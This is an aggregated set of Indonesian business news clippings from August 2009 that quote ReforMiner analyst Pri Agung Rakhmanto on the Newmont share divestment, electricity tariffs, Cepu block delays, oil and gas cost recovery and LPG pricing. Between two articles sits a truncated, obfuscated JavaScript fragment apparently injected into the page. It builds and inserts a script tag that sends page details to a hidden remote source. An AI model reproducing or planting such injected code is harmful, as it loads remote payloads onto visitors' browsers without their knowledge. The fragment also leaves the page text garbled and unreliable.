Pemda NTB Paling Lemah, Tapi Kok Jadi Pemimpin Konsorsium?

Detikfinance, 26/08/2009 08:25 WIB

Jakarta – Keputusan Menteri Keuangan Sri Mulyani menunjuk Pemda NTB untuk menjadi pemimpin konsorsium pembelian 14 persen saham divestasi PT Newmont Nusa Tenggara (NNT) tahun 2008 dan 2009 dinilai tidak wajar.

Hal tersebut disampaikan Direktur Eksekutif Refor-Miner Institute, Pri Agung Rakhmanto dalam pesan singkatnya kepada detikFinance, Selasa (25/8/2009) malam.

“Meskipun mungkin tidak menyalahi aturan, namun ini sebenarnya cenderung tidak wajar,karena bagaimana mungkin pihak yang relatif paling lemah baik dalam hal kemampuan finansial dan teknis tapi ternyata justru menjadi lead,” kata Pri Agung.

Dengan dipilihnya Pemda sebagai lead, imbuh Pri Agung, kemungkinan Pemda akan menggandeng pihak swasta untuk mendanainya sehingga dalam prakteknya yang menjadi leadnya yaitu swasta itu sendiri. Dalam divestasi 10% saham Newmont, Pemda NTB telah memutuskan untuk menggandeng anak usaha Bakrie yakni Multicapital.

“Atau dengan kata lain, walaupun secara formal divestasi tampaknya diberikan kepada pemda,tapi pada kenyataannya yang mendapatkannya secara de facto adalah pihak swasta yang digandengnya,” tandasnya.

Seperti diketahui, Gubernur NTB Gubernur NTB HM Zainul Majdi mengaku bahwa tiga pemerintah daerah di NTB yakni Pemprov NTB, Pemkab Sumbawa dan Sumbawa Barat telah ditunjuk oleh Menteri Keuangan Sri Mulyani untuk menjadi lead konsorsium pembelian 14 persen saham divestasi PT Newmont Nusa Tenggara (NNT) tahun 2008 dan 2009 senilai US$ 493,6 juta.

Gubernur NTB juga telah mengirimkan surat ke Menteri Keuangan untuk memastikan sekiranya ada tim pemerintah pusat yang akan bergabung dalam konsorsium pimpinan pemerintah daerah. Sejauh ini memang belum ada keputusan resmi soal mekanisme akuisisi 14 persen saham ini.

“Kita ingin bergerak cepat. Kita juga ingin bekerja secara efesien. Jadi kalau memang ada tim atau person dari pemerintah pusat, kita meminta untuk segera bergabung, karena akhir September, proses ini sudah harus final,” kata Gubernur, Kemarin.

Dalam konsorsium untuk pembelian 14% saham Newmont ini, pemerintah daerah kata Gubernur tetap membuka peluang bagi BUMN yang ingin turut serta membeli saham Newmont. BUMN itu kata dia akan masuk dalam konsorsium Perusahaan Daerah milik Pemda, yakni PT Daerah Maju Bersaing dengan PT Multicapital, anak usaha Bumi Resources dan Bakrie Capital yang bertindak sebagai penyandang dana.

Sesuai keputusan arbitrase, Newmont harus mendivestasi 51% sahamnya ke investor lokal dan pemerintah hingga 2010. Sebanyak 20% saham Newmont kini sudah dimiliki pengusaha lokal, Jusuf Merukh. Sisanya didivestasi yakni 10% akan dibeli Pemda NTB dan Multicapital sementara 14% akan dibeli pemerintah pusat. Sisanya 7% akan didivestasi tahun 2010.

Pemerintah pusat mendapatkan jatah divestasi untuk tahun 2008 dan 2009 secara total 14%. Sebelumnya pemerintah dan Newmont sudah menyepakati nilai 100 persen aset NNT sebesar US$ 3,526 miliar. Dengan nilai aset sebesar itu, maka nilai 14 persen saham divestasi untuk 2008 dan 2009 adalah sebesar US$ 493,64 juta.

Sementara Pemda NTB mendapatkan jatah divestasi Newmont tahun 2006 dan 2007 sebesar 10%. Pemda NTB memiliki jatah untuk divestasi 10 persen saham itu ada pada harga US$ 391 juta atau setara dengan Rp 4,1 triliun. Pemda NTB menggandeng Multicapital yang merupakan anak usaha Bumi Resources dan Bakrie Capital.

(Nurseffi Dwi Wahyuni – detikFinance)

Kenaikan TDL Belum Mendesak dalam Waktu Dekat

Okezone, 26 Agustus 2009

JAKARTA – Wacana untuk menaikkan tarif dasar listrik (TDL) dalam waktu dekat dinilai belum terlalu urgen. Pasalnya kenaikan marjin PLN yang disetujui DPR sebesar delapan persen setidaknya masih mampu menjaga stabilitas operasional PLN hingga pembangunan proyek 10 ribu MW tahap pertama selesai.

“Sebaiknya tunggu sampai proyek 10 ribu MW tahap pertama selesai, untuk menghitung harga pokok yang wajar yang nantinya digunakan untuk menyesuaikan TDL. Setidaknya pada 2011 di mana komposisi pembangkit non-BBM sudah semakin berkurang,” ujar Direktur Eksekutif Refor Miner Institute Pri Agung Rakhmanto, saat dihubungi okezone, Rabu (26/8/2009).

Sebagaimana diungkapkan Menneg BUMN Sofyan Djalil sebelumnya, kenaikan TDL memang belum pernah disesuaikan meskipun harga minyak dunia dan biaya operasionl PLN semakin meningkat.

Dengan demikian, subsidi menjadi semakin membengkak dan PLN masih harus menanggung kerugian akan pembengkakan biaya operasional. Subsidi untuk 2010 sendiri disepakati sebesar Rp48,31 triliun-Rp52,5 tiliun.

Selama ini, penggunaan BBM untuk pembangkit listrik adalah sebagai salah satu faktor yang paling banyak menelan biaya jika dibandingkan dengan bahan bakar lainnya.

Dengan proyek 10 ribu MW yang lebih banyak menggunakan batu bara, gas, dan panas bumi maka diharapkan dapat menekan pngeluaran untuk bahan bakar karena lebih murah dibandingkan dengan BBM.

Adapun proyek 10 ribu MW tahap pertama ditargetkan akan dapat beroperasi pada 2011. “Marjin kan sudah dinaikkan, jadi tidak terlalu urgensi untuk menaikkan TDL dalam waktu dekat,” pungkas Pri Agung. (ade)

Andina Meryani – Okezone

Pekerjaan Rumah di Sektor Pertambangan
Pri Agung Rakhmanto
Direktur ReforMiner Institute
Bisnis Indonesia, 26 Agustus 2009

Produksi Blok Cepu Molor, Jangan Hanya Exxon yang Disalahkan

Detikfinance, 25/08/2009 11:50 WIB

Jakarta – Pemerintah juga harus ikut bertanggung jawab atas keterlambatan produksi blok Cepu. Penetapan target produksi awal blok Cepu sebelum tahun 2010 sebelumnya dinilai sebagai keputusan politis.

Direktur Eksekutif Refor-Miner Institute, Pri Agung Rakhmanto menyatakan pemerintah tidak bisa begitu saja memberikan sanksi kepada Exxon atas keterlambatan produksi blok Cepu. Pemerintah dinilai memiliki andil dari keterlambatan produksi blok Cepu tersebut.

“Itu kan harus dilihat lebih jauh lagi,Apakah keterlambatan itu bukan karena memang sejak awal blok Cepu tidak bisa berproduksi sebelum 2010 lalu dipaksakan pemerintah karena pertimbangan politis lalu akhirnya jadi seperti ini ” ungkap Pri Agung dalam pesan singkatnya kepada detikFinance, Selasa (25/8/2009).

Menurut Pri Agung, Exxon bisa diberikan sanksi jika memang hanya Exxon yang bersalah atas produksi blok Cepu kembali molor. Sanksi tersebut bisa berupa pinalti atau ganti rugi sampai pada pemutusan kontrak.

“Namun kondisi yang ada kan tidak ideal seperti dalam kontrak. Untuk menyatakan Exxon lalai itu tidak sesederhana itu, harus lewat arbitrase,” ujar Pri Agung.

Pri Agung meminta agar pemerintah dan Exxon yang harus menjelaskan alasan sebenarnya dari keterlambatan produksi di blok Cepu tersebut.

“Selama ini alasan molornya kan juga berubah-berubah terus, misalnya tadinya dikatakan kilangnya belum siap, lalu pipanya, lalu sekarang separatornya dan juga pembelinya yang belum ada. Mana yg bisa dipercaya sebenarnya ” ungkapnya.

Pada kesempatan yang sama, Pri Agung juga menyoroti kinerja tim investigasi blok Cepu yang dibentuk DPR yang hingga kini belum menghasilkan apa-apa.

“Sudah benar sebenarnya DPR membentuk tim investigasi,tapi kenapa sampai sekarang kok belum kedengeran move-nya,” tandasnya.

(Nurseffi Dwi Wahyuni – detikFinance)

3 Miliar Dollar AS Dorong Migas: Pembengkakan Biaya yang Tidak Wajar

Kompas, 21 Agustus 2009 | 03:51 WIB

Jakarta, Kompas – Biaya operasional kontraktor migas yang ditanggung pemerintah atau cost recovery membengkak dari 10,05 miliar dollar AS tahun 2009 menjadi 13,01 miliar dollar AS tahun 2010. Kenaikan biaya hampir 3 miliar dollar AS diharapkan bisa mendorong produksi migas.

Hal tersebut disampaikan dalam lampiran Jawaban Pemerintah atas Pandangan Umum Fraksi-fraksi DPR terhadap Rancangan Undang-Undang APBN 2010 beserta Nota Keuangannya oleh Menteri Keuangan sekaligus Pelaksana Jabatan Menko Perekonomian Sri Mulyani Indrawati dalam Rapat Paripurna DPR di Jakarta, Kamis (20/8). Proporsi cost recovery tergolong signifikan karena bisa mencapai 21-24 persen terhadap penerimaan kotor.

Pada periode 2005-2008, nilai cost recovery cenderung meningkat seiring upaya peningkatan produksi minyak gas siap jual atau lifting. Tahun 2009, DPR dan pemerintah menyepakati target maksimal cost recovery yang dapat dibebankan ke APBN adalah 11,05 miliar dollar AS untuk mendapatkan lifting 960.000 barrel per hari. Namun, Panitia Anggaran DPR menekan pemerintah agar cost recovery dipangkas sekitar 1 miliar dollar AS menjadi 10,05 miliar dollar AS dengan menyisir biaya-biaya yang benar-benar bisa diklaim kepada pemerintah.

Meski dipangkas, target produksinya tetap sama, yakni 960.000 barrel minyak per hari dan produksi gas 7.526 juta metrik British termal unit (million metric British thermal unit/mmbtu). Sementara itu, tahun 2010, target cost recovery justru naik menjadi 13,01 miliar dollar AS. Namun, target produksi minyaknya tidak jauh beda, hanya naik 5.000 barrel, menjadi 965.000 barrel per hari tahun 2010. Meski demikian, produksi gas buminya naik 232 juta menjadi 7.758 juta mmbtu.

Kenaikan produksi Direktur Eksekutif Lembaga Kajian Reformasi Pertambangan dan Energi Pri Agung Rakhmanto mengatakan, jika dilihat sekilas dengan membandingkan antara kenaikan lifting dan cost recovery, dapat disimpulkan pembengkakan cost recovery tahun 2010 itu tidak wajar. Namun, pemerintah perlu menjelaskan lebih detail lagi sebab ada kemungkinan kenaikan cost recovery tersebut disebabkan oleh peningkatan produksi yang signifikan di lapangan gas Tangguh dan Blok Cepu. Oleh karena itu, cost recovery yang disampaikan ke Panitia Anggaran DPR mestinya dirinci lebih jauh. Mana yang untuk eksploitasi minyak, gas, atau produksi sumur lama dan baru. Bisa lebih jelas sehingga tidak asal potong sebab efeknya bisa berdampak pada kegiatan eksplorasi produksi dan iklim investasi, ujarnya.

Pri Agung mengingatkan, target lifting 965.000 barrel per hari akan sulit dicapai karena Blok Cepu belum tentu bisa berproduksi maksimal karena fasilitas produksinya belum selesai. Atas dasar itu, pemerintah perlu mengantisipasi risiko fiskal yang akan muncul dari kegagalan pencapaian lifting ini. Dengan demikian, pemerintah lebih baik menurunkan target lifting ke 940.000 barrel per hari. Sebab, jika dinaikkan, dana cadangan risiko fiskal yang perlu disiapkan akan lebih banyak lagi, ujarnya.

Secara terpisah, Menteri Energi dan Sumber Daya Mineral Purnomo Yusgiantoro meminta agar kenaikan cost recovery itu dilihat lebih jauh. Tidak tepat jika peningkatan target lifting yang hanya 5.000 barrel per hari dibandingkan dengan meningkatnya cost recovery hingga 2 miliar dollar AS. Yang namanya cost recovery, saat dia mulai produksi maka akan dimasukan di cost recovery, mungkin produksinya baru mulai, tetapi cost-nya mulai jalan. Tahun depan kan Tangguh dan Cepu masuk penuh, ujarnya. Badan Pelaksana Kegiatan Hulu Migas mengakui, produsen migas cenderung menetapkan target jauh di bawah kemampuan riil. Deputi Perencanaan BP Migas Achmad Lutfi mengatakan, banyak kontraktor migas yang berusaha menjaga agar kinerjanya terlihat baik oleh kantor pusat. Sebagai contoh, Chevron Pacific Indonesia tahun 2009 meminta target produksi 360.000 barrel per hari, padahal realisasi tahun 2008 mencapai 407.000 barrel. (OIN/DOT)

Harga Patokan Minyak Masih di Bawah Asumsi Anggaran

TEMPO Interaktif,

Jakarta – Harga Indonesia Crude Price atau ICP masih di kisaran US$ 53-55 per barel pada Januari hingga Juli tahun ini. Direktur Eksekutif Reforminer Institute Pri Agung Rahmanto mengatakan angka itu masih jauh di bawah asumsi minyak Anggaran Pendapatan dan Belanja Negara Perubahan 2009 sebessar US$ 60 per barel.

Harga keekonomian premium saat ini mencapai Rp 5.300 per liter. Sementara harga bahan bakar premium bersubsidi Rp 4.500 per liter. “Oleh karena itu, pemerintah belum perlu menaikkan harga bahan bakar minyak bersubsidi, meskipun harga minyak dunia terus naik,” ujarnya dalam pesan singkat kepada wartawan, Jumat (14/8).

Dari segi ketahanan APBN-P, ia menilai dana subsidi bahan bakar minyak masih aman. “Fluktuasi (kenaikan harga minyak) itu masih wajar karena aksi spekulan,” kata Pri Agung. “Selama tidak ada kondisi darurat, ya, tidak perlu naik.”

Harga minyak di New York Mercantile Exchange untuk kontrak bulan depan pada perdagangan, Kamis (13/8) waktu setempat, naik US$ 0,76 menjadi US$ 70,92 per barel. Sedangkan minyak jenis Brent naik US$ 0,91 menjadi US$ 73,80 per barel. International Energy Agency memperkirakan harga minyak akan terus menanjak hingga tahun depan.

6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

PGN Minati Gas Senoro

Kontan, Rabu, 19 Agustus 2009 | 17:54

JAKARTA. Setelah PT PLN (Persero) dan PT Pupuk Iskandar Muda (PIM), kini giliran PT PGN (Persero) Tbk mengaku berminat membeli gas produksi lapangan Matindok dan Senoro-Toili punya PT Pertamina (Persero) dan PT Medco Energi Internasional Tbk.

“Dimana ada sumber gas, ya pasti kami telusuri agar kesinambungan bisnis PGN terjamin. Tapi, berapa harga yang kami berani bayar, harus mempertimbangkan dulu fungsi bisnisnya, termasuk memperhatikan kemampuan membayar dari industri yang menjadi konsumen kami,” kata Direktur Pengembangan PGN Bambang Banyudoyo kepada KONTAN, Rabu (19/8).

Sudah tiga perusahaan yang menyatakan minat membeli gas Matindok dan Senoro-Toili, namun tidak satu pun dari perusahaan itu yang berani menyebut berapa harga beli gas yang sanggup mereka bayarkan.

Menurut Direktur Eksekutif Research Institute For Mining, Energy, and Environmental Reform (Reforminer Institute) Pri Agung Rakhmanto, keengganan perusahaan-perusahaan itu menyebutkan harga yang diinginkan sangat beralasan. “Karena harga gas sebenarnya tidak ada patokannya. Tetapi berdasarkan negosiasi. Rugi kalau belum negosiasi, sudah bilang berani bayar sekian. Atau kemungkinan kedua, karena perusahaan-perusahaan tersebut juga masih sangat yakin bahwa Senoro nantinya tetap akan diekspor juga. Jadi tidak ada gunanya,” katanya. Baca Selengkapnya

Pemerintah Jangan Hanya Jadi Broker Divestasi Newmont

detikFinance,A�12/08/2009 09:53 WIB

Jakarta – Pemerintah jangan sampai hanya menjadi broker dalam divestasi 14% saham Newmont Nusa Tenggara (NNT). Pemerintah disarankan untuk membeli saham tersebut melalui BUMN maupun konsorsium BUMN.

“Jangan sampai pemerintah sebagai wakil dari negara hanya menjadi semacam broker saja dalam divestasi ini,” ungkap Direktur Eksekutif Refor-Miner Institute, Pri Agung Rakhmanto dalam pesan singkatnya kepada detikFinance , Rabu (12/8/2009).

Pri Agung menjelaskan, pemerintah pusat sebaiknya membeli 14% saham NNT yang menjadi jatahnya melalui BUMN atau konsorsium BUMN. Menurut Pri Agung, pembelian saham NNT ini diperkirakan akan menguntungkan pemerintah pusat mengingat NNT merupakan produsen tembaga,emas dan perak terbesar kedua di tanah air setelah Freeport.

“Pemerintah Pusat sebaiknya membeli baik melalui BUMN atau konsorsium BUMN,” ungkap Pri Agung.

Opsi menyerahkan divestasi saham NNT ini ke Pemda sebaiknya juga tidak dilakukan, Pri Agung menilai jika diserahkan ke Pemda maka akhirnya divestasi 14% saham tersebut akan lari ke pihak swasta.

“Pemerintah daerah tidak punya dana yang cukup untuk itu. Ujung-ujungnya mereka akan menggandeng pihak lain atau swasta sehingga esensi divestasi jadi tidak tercapai,” jelasnya.

Pri Agung mengingatkan, alasan utama dimasukkannya klausul divestasi dalam kontrak karya adalah agar negara secara bertahap dapat ikut mengelola dan menikmati keuntungan secara lansung dari tambang-tambang strategis seperti NNT ini.

“Jadi, kesempatan yang ada hendaknya benar-benar dimanfaatkan untuk kepentingan negara,” tandasnya.

(epi/dnl)

Pertamina Diminta Tak Melulu Pikiri Ekspor Gas

Tempo, 10 Agustus 2009 | 15:11 WIB

TEMPO Interaktif, Jakarta – Pertamina seharusnya tidak terpaku untuk terus berorientasi melakukan ekspor terhadap gas alam cair (liquefied natural gas/LNG). Justru, hal tersebut akan menimbulkan tanda tanya bila perusahan minyak dan gas pelat merah ini masih tetap melakukannya.

“Ada apa sebenarnya dibalik deal-deal antara Pertamina-Medco-Mitsubishi dalam konsorsium ini,” kata Pri Agung Rakhmanto, pengamat energi, kepada Tempo, Senin (10/8).

Ia menambahkan, Pertamina sebaiknya membuka diri apa yang terjadi di konsorsium. PT Pertamina (Persero) meminta dukungan Presiden Susilo Bambang Yudhoyono untuk melanjutkan proyek gas alam cair . Jika proyek tersebut tidak bisa dikembangkan, perusahaan minyak pemerintah itu meminta dibebaskan dan diberi ganti rugi dari segala kewajiban dari pemerintah dan mitranya.

Proyek gas Donggi-Senoro terancam batal setelah calon pembeli LNG, Kansai Electric Power, membatalkan perjanjian karena ketidakpastian dari pemerintah. Permintaan dukungan tersebut terungkap dalam surat Direktur Utama Pertamina Karen Agustiawan kepada Presiden tertanggal 14 Juli 2009. Surat itu jawaban atas surat Wakil Presiden pada 7 Juli 2009.

Pengembangan proyek Donggi-Senoro dianggap tidak ekonomis jika gasnya dijual ke Jawa dan Sumatera. Harga FOB (pada saat pengapalan) sekitar US$ 6 per mmBtu,” ucapnya. Pengembangan proyek gas di Sulawesi Tengah itu menggunakan kombinasi ekspor dan domestik. “Akan menghasilkan pendapatan paling maksimal bagi pemerintah,” katanya. Proyek Donggi-Senoro akan menghasilkan penerimaan negara sekitar US$ 6,4 miliar pada tingkat harga minyak US$ 70 per barel.

Pri Agung melanjutkan, tidak dalam posisi yang tepat untuk mengirimkan surat permintaan tersebut. Kebutuhan gas dalam negeri tetap merupakan hal yang paling utama untuk didahulukan. Sebaiknya bila harga gas yang dipasok ke dalam negeri tidak mencapai harga keekonomian, Pertamina duduk bareng untuk menyelesaikan persoalan ini. “Sepertinya konsorisum ini sangat tergantung pada Mitsubishi,” ucap Pri Agung, yang juga Direktur Reforminer Instititue.

“Kalau gas ini (proyek Donggi-Senoro) tidak jadi diekspor ke Jepang, konsorsium terancam bubar. Dan itu memang akan mengakibatkan kerugian bagi Pertamina dan Medco. Yang paling penting kepentingan dalam negeri harus diutamakan.” Padahal proyeksi keuntungan yang digaet negara ke depannya bukan jumlah yang spektakuler bila dikaitkan dengan formula harga sekarang.

Harga yang sama juga bisa didapatkan dari pembeli dalam negeri. Itu bukan harga yang rendah dan bukan tinggi sekali,” ia menambahkan. Bila LNG Donggi-Senoro digelontorkan untuk kebutuhan dalam negeri, Pertamina tak perlu gundah kehilangan pembeli. “Yang jelas membutuhkan gas adalah PLN dan pabrik pupuk. Kalau dengan harga sekarang iya, mereka akan tertarik,” ungkapnya.

Pertamina Diminta Pertimbangkan Daya Beli Konsumen Elpiji

Jakarta (ANTARA News)

Pusat Studi Kebijakan Publik (Puskepi) meminta PT Pertamina (Persero) melakukan kenaikan harga elpiji tabung 12 kg dengan mempertimbangkan daya beli konsumen.

Direktur Puskepi Sofyano Zakaria di Jakarta, Minggu mengatakan, Pertamina bisa melakukan kenaikan harga elpiji 12 kg secara bertahap hingga nantinya mencapai tingkat keekonomiannya. “Kenaikannya mesti dilakukan secara bertahap dan sebaiknya setiap awal bulan,” ujarnya.

Menurut dia, kenaikan harga elpiji dapat dilakukan dengan sejumlah alasan. Pertama, konsumen elpiji 12 kg tidak layak mendapat subsidi, karena berpenghasilan di atas Rp1,5 juta per bulan. Sedang, masyarakat yang mempunyai penghasilan di bawah Rp1,5 juta per bulan, sudah diberikan subsidi oleh negara melalui program konversi ke tabung 3 kg. “Jadi, tidak bijak jika konsumen 12 kg masih pula menikmati elpiji yang `disubsidi` oleh Pertamina,” katanya.

Alasan kedua, lanjut Sofyano, Pertamina telah melanggar UU tentang BUMN, jika masih memberikan subsidi. Terakhir, pemberian subsidi Pertamina, juga berarti BUMN tersebut dipaksa merugi dalam menjalankan bisnis elpiji 12 kg. Catatan Puskepi, Pertamina bakal menanggung kerugian hingga Rp3,6 triliun dengan mempertimbangkan harga elpiji internasional berkisar 600-700 dolar AS per metrik ton. “Dengan demikian, rencana kenaikan harga elpiji ini juga merupakan upaya Pertamina menekan kerugian,” katanya.

Sementara itu, Direktur Eksekutif ReforMiner Institute Pri Agung Rakhmanto meminta pemerintah menekan biaya distribusi dan marjin (beta) elpiji. “Angka beta yang kini dipakai sekitar 40 persen terlalu tinggi. Seharusnya, bisa di bawah 25 persen,” katanya. Menurut dia, dengan asumsi harga internasional 500-515 dolar AS per ton, kurs Rp10.000 per dolar AS, pajak pertambahan nilai (PPN) 10 persen, dan beta 40 persen, maka harga keekonomian elpiji 12 kg Rp7.500-7.750 per kg. Dengan harga jual hanya Rp5.750 per kg, maka Pertamina merugi Rp2.000-2.250 per kg. “Tapi, kalo bisa mengurangi komponen beta yang terdiri dari biaya transportasi, penyimpangan, dan marjin, maka rugi bisa ditekan,” ujarnya. Pri menambahkan, berdasarkan perhitungannya, harga produk elpijinya sendiri hanya Rp5.000 per kg.(*)